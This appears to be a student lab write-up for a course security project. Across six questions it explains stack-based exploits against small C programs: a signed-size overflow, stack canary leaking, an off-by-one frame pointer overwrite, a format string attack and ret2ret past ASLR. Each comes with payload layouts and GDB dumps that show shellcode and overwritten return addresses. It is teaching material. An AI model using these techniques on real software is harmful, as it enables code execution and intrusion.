Q2 Spica:

Main Idea:

The program is vulnerable due to the type of the "size" in display, which is int8_t (signed 8-bit integer, range is -128 to 127), and that fread() takes in size_t, which is unsigned. This causes the function in line 19 that checks the size of the file to not work properly, and we can exploit this for inputs that are higher than 128 bytes. We will exploit the program by inserting the shellcode into the msg buffer.

Magic Numbers:

First, we get the msg buffer, which is at 0xffffda78 by invoking GDB and setting a breakpoint at line 18. We then get the rip of the display function, which is 0xffffdb0c.

```
(gdb) x/16x msg
0xffffda78:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda88:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda98:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdaa8:     0x00000000      0x00000000      0x00000000      0x00000000
```

```
(gdb) i f
Stack level 0, frame at 0xffffdb10:
 eip = 0x8049235 in display (telemetry.c:18); saved eip = 0x80492bd
 called by frame at 0xffffdb40
 source language c.
 Arglist at 0xffffdb08, args: path=0xffffdcd3 "navigation"
 Locals at 0xffffdb08, Previous frame's sp is 0xffffdb10
 Saved registers:
  ebp at 0xffffdb08, eip at 0xffffdb0c
```

We learn that the location of the return address from the function is 148 bytes away from the start of the buffer by doing 0xffffdb0c - 0xffffda78 = 0x94 = 148 bytes.

Exploit Structure:

1. Write the first byte, which we have chosen to be 0x98, because it represents the length of the msg , and is the distance from the start of the buffer to the rip of the function (0x94) + the length of the return address (0x04).

2. We then write the padding, which is ‘A’ * 148, because it is the distance needed to overwrite the buf, padding, and the sfp.
3. We then overwrite the rip with the address of the shellcode, so we have to put it after the rip by adding 4 bytes, which is 0xffffdb0c + 4 bytes, which is 0xffffdb10.
4. We then insert the shellcode.

The exploit will make the function execute the shellcode at 0xffffda78, when it returns.

Exploit GDB Output:

When we ran GDB after inputting the malicious exploit string, we got:

```
(gdb) x/80x msg
0xffffda78:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffda88:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffda98:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdaa8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdab8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdac8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdad8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdae8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdaf8:     0x000000d2      0x41414141      0x41414141      0x41414141
0xffffdb08:     0x41414141      0xffffdb10      0xcd58326a      0x89c38980
0xffffdb18:     0x58476ac1      0xc03180cd      0x692d6850      0xe2896969
0xffffdb28:     0x6d2b6850      0xe1896d6d      0x2f2f6850      0x2f686873
0xffffdb38:     0x896e6962      0x515250e3      0x31e18953      0xcd0bb0d2
0xffffdb48:     0xffff0a80      0x0804b008      0x00000000      0x00000000
```

After 148 bytes of garbage, the rip is overwritten with 0xffffdb10, which points to the shellcode which is right after the rip.

Q3 Polaris:

Main Idea:

The program is vulnerable due to the fact that we can find the canary value from the printf function on line 34 in the dehexify.c. This is the case, because in the function of dehexify, c.buffer[i] will skip checks at i+2 and i+3. We can exploit this by making it so that dehexify will keep parsing after null termination, and use it to find the stack canary. Then we will inject code that will contain the canary and overwrite the rip.

Magic Number:

First, we can get the address of c.buffer and c.answer, which are 0xfffffdb1c and 0xffffdb0c respectively, by setting a breakpoint at 12 and running GDB. We also get the address of dehexify, which is 0xffffdb3c.

```
(gdb) x/16x c.buffer
0xffffdb1c:     0x00000000      0x00000000      0xffffdfe1      0x0804cfe8
0xffffdb2c:     0x0804934f      0x0804d020      0x00000000      0xffffdb48
0xffffdb3c:     0x08049341      0x00000000      0xffffdb60      0xffffdbdc
0xffffdb4c:     0x0804952a      0x00000001      0x08049329      0x0804cfe8
(gdb) x/16x c.answer
0xffffdb0c:     0xffffdcab      0x00000000      0x00000000      0x00000000
0xffffdb1c:     0x00000000      0x00000000      0xffffdfe1      0x0804cfe8
0xffffdb2c:     0x0804934f      0x0804d020      0x00000000      0xffffdb48
0xffffdb3c:     0x08049341      0x00000000      0xffffdb60      0xffffdbdc
(gdb) i f
Stack level 0, frame at 0xffffdb40:
 eip = 0x8049215 in dehexify (dehexify.c:12); saved eip = 0x8049341
 called by frame at 0xffffdb60
 source language c.
 Arglist at 0xffffdb38, args:
 Locals at 0xffffdb38, Previous frame's sp is 0xffffdb40
 Saved registers:
  ebp at 0xffffdb38, eip at 0xffffdb3c
```

We learn that the distance from the location of the return address and c.buffer is 32 bytes and that the distance between c.answer and the return address is 48 bytes.

Exploit Structure:

1. We send 12 bytes of garbage as the padding and ‘\\’ + ‘x’ + ‘\n’ to trick the program into printing the canary value for us, which will give us a 21 byte string. We then use p.recv(21) to read the bytes that are outputted, and observe that the canary is in indexes 13,14,15,16, which we will record and store as a variable.
2. Next, we had to send 15 bytes + ‘\x00’ of garbage to fill the rest of c.buffer.
3. Overwrite the canary value with our recorded canary value (itself).
4. Then write 12 bytes of garbage to get to the rip and overwrite it with 0xffffdb40.
5. Finally, we add the shellcode.

Exploit GDB Output:

The output is as follows:

```
(gdb) x/32x c.buffer
0xffffdb1c:     0x41414100      0x41414141      0x41414141      0x41414141
0xffffdb2c:     0x04304bca      0x41414141      0x41414141      0x41414141
0xffffdb3c:     0xffffdb40      0xdb31c031      0xd231c931      0xb05b32eb
0xffffdb4c:     0xcdc93105      0xebc68980      0x3101b006      0x8980cddb
0xffffdb5c:     0x8303b0f3      0x0c8d01ec      0xcd01b224      0x39db3180
0xffffdb6c:     0xb0e674c3      0xb202b304      0x8380cd01      0xdfeb01c4
0xffffdb7c:     0xffffc9e8      0x414552ff      0x00454d44      0x00000000
0xffffdb8c:     0x08049097      0x08049329      0x00000001      0xffffdbd4
(gdb) x/32x c.answer
0xffffdb0c:     0x41414141      0x41414141      0x41414141      0x304bcab1
0xffffdb1c:     0x41414100      0x41414141      0x41414141      0x41414141
0xffffdb2c:     0x04304bca      0x41414141      0x41414141      0x41414141
0xffffdb3c:     0xffffdb40      0xdb31c031      0xd231c931      0xb05b32eb
0xffffdb4c:     0xcdc93105      0xebc68980      0x3101b006      0x8980cddb
0xffffdb5c:     0x8303b0f3      0x0c8d01ec      0xcd01b224      0x39db3180
0xffffdb6c:     0xb0e674c3      0xb202b304      0x8380cd01      0xdfeb01c4
0xffffdb7c:     0xffffc9e8      0x414552ff      0x00454d44      0x00000000
```

The canary code is located at 0xffffdb2c and is 0x04304bca, and the rip at 0xffffdb3c has been changed to 0xffffdb40, which is rip + 4, and is the beginning of the shellcode.

Q4 Vega:

Main Idea:

The program is vulnerable due to the "off-by-one" problem in the flip function. This vulnerability exists due to the for-loop that checks index i against 64 with <= instead of just <, so a 65 byte input will cause the last byte to be able to overwrite the least significant byte of SFP.

Magic Numbers:

First, I determined the address of buf, which was 0xffffda80 through setting a breakpoint at line 17 and running GDB. Then I determined the address of the start of the shellcode by printing environ[4], which gives me 0xffffdf98 and by looking into the address of 0xffffdf98, I see that the shellcode starts at 0xffffdf9c. I also determined that SFP was at 0xffffdac0 using GDB.

```
flipper.c:17
(gdb) i f
Stack level 0, frame at 0xffffdac8:
 eip = 0x8049251 in invoke (flipper.c:17); saved eip = 0x804927a
 called by frame at 0xffffdad4
 source language c.
 Arglist at 0xffffdac0, args:
    in=0xffffdc67 "AAAA\274\377\337\337", 'A' <repeats 56 times>, "\240"
 Locals at 0xffffdac0, Previous frame's sp is 0xffffdac8
 Saved registers:
  ebp at 0xffffdac0, eip at 0xffffdac4
(gdb) x/16x buf
0xffffda80:     0x00000000      0x00000001      0x00000000      0xffffdc3b
0xffffda90:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdaa0:     0x00000000      0xffffdfe5      0xf7ffc540      0xf7ffc000
0xffffdab0:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) p environ[4]
$1 = 0xffffdf98 "EGG=j2X̀\211É\301jGX̀1\300Ph-iii\211\342Ph+mmm\211\341Ph//shh/bin\211\343PRQS\2
11\341\061¥\v̀"
```

```
(gdb) x/16x 0xffffdf98
0xffffdf98:     0x3d474745      0xcd58326a      0x89c38980      0x58476ac1
0xffffdfa8:     0xc03180cd      0x692d6850      0xe2896969      0x6d2b6850
0xffffdfb8:     0xe1896d6d      0x2f2f6850      0x2f686873      0x896e6962
0xffffdfc8:     0x515250e3      0x31e18953      0xcd0bb0d2      0x57500080
```

Exploit Structure:

1. We write 4 bytes of garbage to overwrite the buffer.
2. Then we write the 4 bytes of the start of the shellcode that is going to be flipped and XOR each byte by \x20 to get \xbc\xff\xdf\xdf.
3. Write 56 bytes of garbage to overwrite the rest of the buffer.
4. We then write one byte to overwrite the least significant byte of SFP, which is \xa0, which is the last byte of the start of buffer (0xffffda80) that is XORed by \x20.

Exploit GDB Output:

When we ran GDB after inputting the malicious exploit arg and egg, we get:

```
(gdb) x/20x buf
0xffffda80:     0x61616161      0xffffdf9c      0x61616161      0x61616161
0xffffda90:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdaa0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdab0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdac0:     0xffffda80      0x0804927a      0xffffdc67      0xffffdad8
(gdb) x/20x 0xffffdf9c
0xffffdf9c:     0xcd58326a      0x89c38980      0x58476ac1      0xc03180cd
0xffffdfac:     0x692d6850      0xe2896969      0x6d2b6850      0xe1896d6d
0xffffdfbc:     0x2f2f6850      0x2f686873      0x896e6962      0x515250e3
0xffffdfcc:     0x31e18953      0xcd0bb0d2      0x57500080      0x682f3d44
0xffffdfdc:     0x2f656d6f      0x61676576      0x6f682f00      0x762f656d
```

We can see that 0xffffda84 contains the address of the shellcode and that the shellcode is successfully opened.

Q5 Deneb:

Main Idea:

The program is vulnerable because it checks the file's length before the file is being read. We can exploit this by changing the input file to be able to get past the size check. To exploit the program, we will be putting the shellcode into the buffer and modifying the RIP of the return address to the address of the shellcode.

Magic Numbers:

First, we determined that the address of the start of the buffer is at 0xffffdac8 and the RIP is at 0xffffdb5c by setting a breakpoint at line 32. We then take the distance of the buffer and the rip address, 0xffffdac8 and 0xffffdb5c, which is 148 bytes (0xffffdac8 - 0xffffdb5c). The length of our shellcode is 72, we find out by doing print(len(SHELLCODE)) in our interact file. To find out how much bytes of garbage we need, we have to do 148 - 72 = 76 bytes.

```
(gdb) x/16x buf
0xffffdac8:     0x00000020      0x00000008      0x00001000      0x00000000
0xffffdad8:     0x00000000      0x0804904a      0x00000000      0x000003ed
0xffffdae8:     0x000003ed      0x000003ed      0x000003ed      0xffffdccb
0xffffdaf8:     0x078bfbfd      0x00000064      0x00000000      0x00000000
(gdb) i f
Stack level 0, frame at 0xffffdb60:
 eip = 0x8049238 in read_file (orbit.c:32); saved eip = 0x804939c
 called by frame at 0xffffdb70
 source language c.
 Arglist at 0xffffdb58, args:
 Locals at 0xffffdb58, Previous frame's sp is 0xffffdb60
 Saved registers:
  ebp at 0xffffdb58, eip at 0xffffdb5c
```

Exploit Structure:

1. First, I write the shellcode into the hack with open('hack', 'w', encoding='latin1').
2. We write the 76 bytes of garbage and the start of our shellcode which I have put at 0xffffdac8 with open('hack', 'a', encoding='latin1').

3. We then use p.send to send the length of our final file. The length of the file should be 152 bytes = length of shellcode (72) + distance of the buffer and the rip address 76 + address of shellcode (4).

Exploit GDB Output:

When we ran GDB after inputting the bytes to read, and read the hack file we got:

```
(gdb) x/48x buf
0xffffdac8:     0xdb31c031      0xd231c931      0xb05b32eb      0xcdc93105
0xffffdad8:     0xebc68980      0x3101b006      0x8980cddb      0x8303b0f3
0xffffdae8:     0x0c8d01ec      0xcd01b224      0x39db3180      0xb0e674c3
0xffffdaf8:     0xb202b304      0x8380cd01      0xdfeb01c4      0xffffc9e8
0xffffdb08:     0x414552ff      0x00454d44      0x41414141      0x41414141
0xffffdb18:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdb28:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdb38:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdb48:     0x00000098      0x41414141      0x41414141      0x41414141
0xffffdb58:     0x41414141      0xffffdac8      0x00000000      0x08049391
0xffffdb68:     0xffffdbec      0x0804956a      0x00000001      0xffffdbe4
0xffffdb78:     0xffffdbec      0x080510a1      0x00000000      0x00000000
```

This shows us our 72 bytes of shellcode, then our 76 bytes of garbage, and that the address of rip was overwritten to point to the shellcode at the beginning of the buffer.

Q6 Antares:

Main Idea:

The program is vulnerable due to the string format vulnerability. The goal of our program is to overwrite the rip such that it points to the shellcode. We have to make it so that this is the case, so we will use %c, %hn, and %_u to do this exploit.

Magic Number:

First, we want to find the address of the beginning of shellcode, we do this by entering ‘x argv[1], which gives us 0xffffdca0. We know that first half is 0xffff =65535 and that 0xdca0 = 56480. We also find the address of buf is 0xffffda70, and that the address of the rip is 0xffffda5c.

```
(gdb) x argv[1]
0xffffdca0:     0xcd58326a
(gdb) x/16x buf
0xffffda70:     0x00001000      0x00000000      0x00000000      0x0804904a
0xffffda80:     0x00000000      0x000003ee      0x000003ee      0x000003ee
0xffffda90:     0x000003ee      0xffffdc7b      0x078bfbfd      0x00000064
0xffffdaa0:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) i f
Stack level 0, frame at 0xffffdb10:
 eip = 0x8049280 in main (calibrate.c:18); saved eip = 0x8049466
 source language c.
 Arglist at 0xffffdaf8, args: argc=2, argv=0xffffdb84
 Locals at 0xffffdaf8, Previous frame's sp is 0xffffdb10
 Saved registers:
  ebp at 0xffffdaf8, eip at 0xffffdb0c
```

Exploit Structure:

1. For the first part of the exploit, we have to input 4 bytes of garbage + '\x5c\xda\xff\xff and then + 4 bytes of garbage + '\x5e\xda\xff\xff'.
2. We then we have to do '%c' * 15 to print the 15 words between buffer and the arg of buffer.
3. Then we enter the value of first half and second half which are 56480 and 65535 respectively.

4. Finally, we have to then overwrite the rip, I do this by using str(SECOND_HALF - (16 + 15)) with '%hn' and str(FIRST_HALF - SECOND_HALF) with '%hn' for our payloads.

Exploit GBD Output:

After running out exploit in GDB, we get:

```
(gdb) x/40x buf
0xffffda70:     0x41414141      0xffffda5c      0x41414141      0xffffda5e
0xffffda80:     0x63256325      0x63256325      0x63256325      0x63256325
0xffffda90:     0x63256325      0x63256325      0x63256325      0x35256325
0xffffdaa0:     0x39343436      0x6e682575      0x35303925      0x68257535
0xffffdab0:     0x00000a6e      0x00000001      0x00000000      0xffffdc6b
0xffffdac0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdad0:     0x00000000      0xffffdfe0      0xf7ffc540      0xf7ffc000
0xffffdae0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdaf0:     0x00000000      0xffffdb10      0xffffdb90      0x08049466
0xffffdb00:     0x00000002      0x0804926c      0x0804ffe8      0x08049466
```

Which shows that we overwrote rip to the shellcode.

Q7 Rigel:

Main Idea:

The program is currently being protected both by stack canaries and also ASLR. The program is vulnerable to the ret2ret attack, and we take advantage of the program since the sections or places of the code's memory are in the same place (has an offset despite different addresses). We are also given the stack canary's address and the printf command's address as well when we first run the program, so we just need to extract them and use them. By using the given information, we can find the canary and the return address of rip. We send NOPs, which will allow us to pad our shellcode and will allow us to have a large target to hit. We also pad the rest of the way to the address of rip by sending multiple copies of the ret we have found. We then overwrite the last byte of err_ptr with 00.

Magic Number:

Since the program is being protected by ASLR, the addresses of items such as the rip, buffer, and the err_ptr are offset. We can find the distance or places of the memory that we need however by finding the difference between them. First, we find the distance between the addresses of the current program we are running below. We find that the distance from the rip to the start of the buffer is 272 bytes. We can use this number for our exploit to determine the amount of garbage we will have to put into our p.send. We do not have to find the canary or the printf, since it is given to us, but we do need to find the return of printf which is an offset of 41 by using 'disas printf'. We find err_ptr as well that it is after the address of rip.

```
(gdb) i f
Stack level 0, frame at 0xffe81590:
 eip = 0x565595ea in secure_gets (lockdown.c:106); saved eip = 0x56559689
 called by frame at 0xffe815e0
 source language c.
 Arglist at 0xffe81588, args: err_ptr=0xffe815b4
 Locals at 0xffe81588, Previous frame's sp is 0xffe81590
 Saved registers:
  ebx at 0xffe81584, ebp at 0xffe81588, eip at 0xffe8158c
(gdb) x/16x buf
0xffe8147c:     0xf7ef1000      0x8683fbf8      0xf7f49708      0x00000000
0xffe8148c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffe8149c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffe814ac:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) p err_ptr
$1 = (int *) 0xffe815b4
```

```
   0xf7f3e0ec <printf>      push   %ebx
   0xf7f3e0ed <printf+1>    call   0xf7f06774
   0xf7f3e0f2 <printf+6>    add    $0x4ae96,%ebx
   0xf7f3e0f8 <printf+12>   sub    $0x8,%esp
   0xf7f3e0fb <printf+15>   lea    0x14(%esp),%eax
   0xf7f3e0ff <printf+19>   push   %edx
   0xf7f3e100 <printf+20>   push   %eax
   0xf7f3e101 <printf+21>   push   0x18(%esp)
   0xf7f3e105 <printf+25>   lea    0x238(%ebx),%eax
   0xf7f3e10b <printf+31>   push   %eax
   0xf7f3e10c <printf+32>   call   0xf7f4036c <vfprintf>
   0xf7f3e111 <printf+37>   add    $0x18,%esp
   0xf7f3e114 <printf+40>   pop    %ebx
   0xf7f3e115 <printf+41>   ret
```

Exploit Structure:

1. We extract the information that is given to us, which is the canary and the printf address, by using p.rec to get the bytes of data that we need and using int(x, 16) in order to convert it to an integer usable by int_to_bytes.
2. We use this on both the canary information and the printf, but we add 41 to printf before using int_to_bytes since it has an offset of 41, which gives us our ret address.

3. Then we have to calculate how many bytes of NOP (\x90) we need to use and how many rets we have to send. We do this by having 272 (distance from buffer to rip) - len(shellcode) (72), which gives us 200 bytes left, so I chose to send 4 ret addresses which turn out to be 16 bytes in total, and 200 - 16 = 184 bytes, which is how much we need of NOPs.

Exploit GBD Output:

We get the following output:

```
(gdb) x/80x buf
0xffe8147c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe8148c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe8149c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe814ac:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe814bc:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe814cc:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe814dc:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe814ec:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe814fc:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe8150c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe8151c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe8152c:     0x90909090      0x90909090      0xdb31c031      0xd231c931
0xffe8153c:     0xb05b32eb      0xcdc93105      0xebc68980      0x3101b006
0xffe8154c:     0x8980cddb      0x8303b0f3      0x0c8d01ec      0xcd01b224
0xffe8155c:     0x39db3180      0xb0e674c3      0xb202b304      0x8380cd01
0xffe8156c:     0xdfeb01c4      0xffffc9e8      0x414552ff      0x00454d44
0xffe8157c:     0x1e0bd9bc      0xf7f3e115      0xf7f3e115      0xf7f3e115
0xffe8158c:     0xf7f3e115      0xffe81500      0xffffffff      0xf7f4d4a9
0xffe8159c:     0x56559663      0x00000000      0x00000000      0xffe81654
0xffe815ac:     0x00000001      0x00000000      0x00000001      0xffe815b4
```

As we can see, this contains out 184 bytes of NOPs, then our shellcode, then our canary, then the 4 ret addresses, and that the last byte of err_ptr was overwritten.